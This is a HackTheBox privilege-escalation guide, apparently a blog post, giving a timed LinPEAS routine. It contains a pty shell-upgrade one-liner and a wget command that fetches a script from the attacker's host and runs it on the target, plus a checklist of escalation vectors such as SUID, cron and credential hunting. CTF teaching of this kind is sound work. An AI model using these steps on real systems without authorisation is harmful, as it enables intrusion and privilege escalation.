A 10-minute LinPEAS methodology for HackTheBox

Minute 0–2: stabilise the foothold#

LinPEAS output is long; you do not want to read it in a dying reverse shell. Upgrade the shell first (python3 -c 'import pty;pty.spawn("/bin/bash")' or your preferred method), confirm basic situational awareness (id; sudo -l; uname -a), and pick a writable directory for output.

Minute 2–4: transfer and launch#

python3 -m http.server 8000   # on your box
wget http://<your-ip>:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh
/tmp/lp.sh -s 2>&1 | tee /tmp/lp.out   # -s for speed on the first pass

The -s (fast) first pass gets you signal quickly; run the full version later only if the fast pass comes up empty.

Minute 4–7: triage, don't read#

Do not read the output top to bottom. Instead:

1. Jump to red/yellow sections first — highest-confidence vectors.
2. For each, note the category: sudo, SUID, cron, capabilities, kernel, credentials, writable files.
3. Pick the two most promising. Ignore the rest for now.

Minute 7–10: verify by hand, then exploit#

Manually confirm each candidate: re-run the permission check yourself, read the actual file, understand the mechanism. Exploit the confirmed vector. If both candidates die, go back to the output with fresh eyes — or run the full (non--s) pass while you work the manual checklist in parallel.

When LinPEAS finds nothing#

• Work the manual checklist — HTB machines often hinge on one subtle misconfiguration.
• Check for containers (/.dockerenv, cgroup) — escape vectors hide there.
• Look at running processes and network listeners yourself; automated tools summarise, humans notice.
• Re-read the full LinPEAS output slowly — the answer is often a yellow item you skimmed.

And one habit for after you succeed: once you have root, re-run LinPEAS as root. The root view reveals things the low-privilege run could not see — and comparing the two outputs teaches you exactly what each privilege level can observe, which sharpens your triage on the next machine.

The vectors LinPEAS catches most on HTB#

Across typical Linux machines, the same handful of vectors recur. When triaging, keep this mental shortlist beside the output:

• sudo rules — especially NOPASSWD entries and version-specific sudo bugs.
• SUID binaries — cross-reference each unusual one against GTFOBins.
• Cron jobs and timers — writable scripts or wildcard injections.
• Capabilities — the section beginners skip; check it deliberately.
• Credentials in files — config files, backups, history, environment.
• Container escapes — always check whether you are inside a container first.
• Kernel CVEs — last resort, validate backports, expect instability.

Keep a per-machine log#

One file per machine: foothold notes, LinPEAS output location, the two candidates you chose, what each turned out to be, and the final vector. This log becomes your personal technique database — after ten machines you will triage in half the time, because you have seen most of these shapes before.